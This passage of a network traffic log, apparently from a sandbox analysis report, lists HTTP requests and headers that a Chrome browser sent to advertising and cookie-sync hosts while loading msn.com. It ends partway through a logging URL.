Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3796433046406172000V10; data-nms=037E08383FE368843ABF1D4A3E696958~~3
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=037E08383FE368843ABF1D4A3E696958&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKgMg2cCELhZ5TunCFUhhDyj3AKZPnsFEgEBAQFehGeMZwAAAAAA_eMAAA&S=AQAAAs6kicU8JYaOhBVSfjxX8bU
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __mguid_=22210ca799c7886b1ftv8j00m5svmrx0
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=2447066522644445799299; tluid=2447066522644445799299
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=037E08383FE368843ABF1D4A3E696958;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D037E08383FE368843ABF1D4A3E696958%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=037E08383FE368843ABF1D4A3E696958; t_pt_gid=037E08383FE368843ABF1D4A3E696958
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=4tYVk7A2uPwedOWiAh721kaXkZ3_bHg8A4BdpqHmNGw92n7zyt32qaSvHzg5up4b__XNF-bdYAjWjsGhBvjSLGPbb_QhyNHSiRaNkeASp1A.; receive-cookie-deprecation=1; uuid2=9095692733213291613
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=037E08383FE368843ABF1D4A3E696958&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ayl_visitor=7cccea13a7a7c725cb43313f8789be86
Source: global traffic	HTTP traffic detected: GET /imid/set?cid=1003212&tid=tblid&uid=037E08383FE368843ABF1D4A3E696958 HTTP/1.1Host: sync.im-apps.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __mguid_=22210ca799c7886b1bfp0c00m5svmsa2
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D037E08383FE368843ABF1D4A3E696958%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D037E08383FE368843ABF1D4A3E696958%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: tsdtocl.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=037E08383FE368843ABF1D4A3E696958; t_pt_gid=037E08383FE368843ABF1D4A3E696958
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=2447066522644445799299
Source: global traffic	HTTP traffic detected: GET /imid/set?cid=1003212&tid=tblid&uid=037E08383FE368843ABF1D4A3E696958 HTTP/1.1Host: sync.im-apps.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: imid_secure=70aMffTdSI25mhppsLc87g; imid_created_secure=1736641706
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D037E08383FE368843ABF1D4A3E696958%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; anj=dTM7k!M4/8CxrEQF']wIg2E>>iz8E5!]tbP6j2F-XstGt!@DhN$q#F#; uuid2=4000058903962025814
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D037E08383FE368843ABF1D4A3E696958%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; anj=dTM7k!M4/8CxrEQF']wIg2E>>iz8E5!]tbP6j2F-XstGt!@DhN$q#F#; uuid2=4000058903962025814
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4/8D>6NRF']wIg2E>>iz8E5!fsuh$+I`vPlZ[C[-kX-gTdms
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D037E08383FE368843ABF1D4A3E696958%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4/8CxrEQF']wIg2E>>iz8E5!]tb$8bhzs#DIgl#Xsf]).#J:
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4/8D>6NRF']wIg2E>>iz8E5!p4Jo#MOY-PlZ[C[-kX-g`Z(3
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh8XCKp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^bf]+-bAA_!2>h9/+0J2!b[xnwF(_
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=037E08383FE368843ABF1D4A3E696958&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh'_'PCp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^as!-bAA_!2>h9/+0J2!gUXotBEb; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /tag?o=6208086025961472&upapi=true HTTP/1.1Host: btloader.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag?o=6208086025961472&upapi=true HTTP/1.1Host: btloader.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif HTTP/1.1Host: bt.dns-finder.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif HTTP/1.1Host: bt.dns-finder.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ut/v3 HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html?gdpr=0&seller_id=280&pub_id=43801 HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /rd_log?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QLMB6DMAwAAAwDWAAUBCMSZjLwGEPqH0IWh0KCqMhjW_q2alIzEwTcqNgkAAAkCABEJBywAABkAAABguB4NQCEREgApEQn0lwIxAAAA4KNw7T8wrsyfDjiYAkCYAkgAUABY5LUDYABo7gJ4gvIFgAEBigEAkgEDVVNEmAHYBaABWqgBAbABALgBAMABAMgBANABANgBAOABAPABAPoBCU1TTlVTRU4xNbICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQAwCYAxegAwGqAwDAA9gEyAMA2AOmBeADAOgDAPgDAYAEAJIEBi91dC92M5gEAKIEDDguNDYuMTIzLjE4OagEALIEEQgAEAEY2AUgWigAMAA4AkIAuAQAwAQAyAQA2gQCCADgBADwBACIBQGYBQCgBQDABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUA6gUMCgZtYXJrZXQSAnVz6gUKCgZmbGlnaHQSAOoFDwoLa3Ztc2Z0X3llYXISAOoFDwoLa3Ztc2Z0X21ha2USAOoFCgoEbGFuZxICZW7qBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgNwdWISA21zbuoFGQoLZGV2aWNlX3R5cGUSCmRlc2t0b3B3ZWLqBScKA3JpZBIgNGFjMDRjZDQxYmE3NGQxNzk4NGJkYmM1MmVlZTZjZDHqBREKDG1zZnRfcmVmcmV